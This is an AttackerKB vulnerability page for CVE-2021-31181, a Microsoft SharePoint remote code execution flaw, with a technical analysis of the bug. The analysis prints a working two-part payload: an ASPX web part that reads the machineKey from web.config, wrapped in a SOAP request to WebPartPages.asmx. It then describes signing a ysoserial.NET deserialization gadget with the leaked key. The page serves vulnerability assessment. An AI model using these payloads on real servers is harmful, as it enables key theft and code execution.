High
CVE-2021-31181
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
High
(1 user assessed)High
(1 user assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Microsoft SharePoint Remote Code Execution Vulnerability
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityHigh
Technical Analysis
The EditingPageParser.VerifyControlOnSafeList
method fails to properly validate user-supplied data. This can be leveraged by an attacker to leak sensitive information in rendered-preview content. This can be used to leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution when deserialized. In order to leverage this vulnerability, an attacker must have the SPBasePermissions.ManageLists
permission on the targeted SharePoint site. By default, SharePoint users may create their own site where they will have this permission.
The single request required to trigger the vulnerability involves two components, one document escaped and embedded within a SOAP request.
Inner Document
In this document it is required that the Namespace attribute be "System.Web.UI.WebControls "
with the trailing space.
<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %> <WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="Documents" WebId="WEB ID"> <DataSources> <att:xmldatasource runat="server" id="XDS1" XPath="/configuration/system.web/machineKey" datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" /> </DataSources> <xsl> <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" indent="yes" /> <xsl:template match="/"> <xsl:copy-of select="." /> </xsl:template> </xsl:stylesheet> </xsl> </WebPartPages:XsltListFormWebPart>
The WEB ID
needs to be updated to the UUID of the targeted site which is easily obtainable via a GET request to _api/web/id
.
Outer Document
The inner document is embedded within the webPartXml
node and the entire body is sent as a SOAP request to the _vti_bin/WebPartPages.asmx
endpoint as a POST request.
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"> <soap12:Body> <RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages"> <webPartXml>INNER DOCUMENT</webPartXml> </RenderWebPartForEdit> </soap12:Body> </soap12:Envelope>
The response from this request will contain quite a few things, but embedded a couple of documents deep will ultimately be the validation key used for the server’s ViewState.
.NET Serialization Gadget Chain
With the validation key, an attacker can use the ysoserial.NET project to create a payload using the TypeConfuseDelegate
gadget chain and the LosFormatter
. Code execution will be obtained within the context of the SharePoint application with the services of the SharePoint service.
For more information, see the original ZDI on which this analysis is based.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- microsoft
Products
- sharepoint enterprise server 2016,
- sharepoint foundation 2013,
- sharepoint server 2019
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: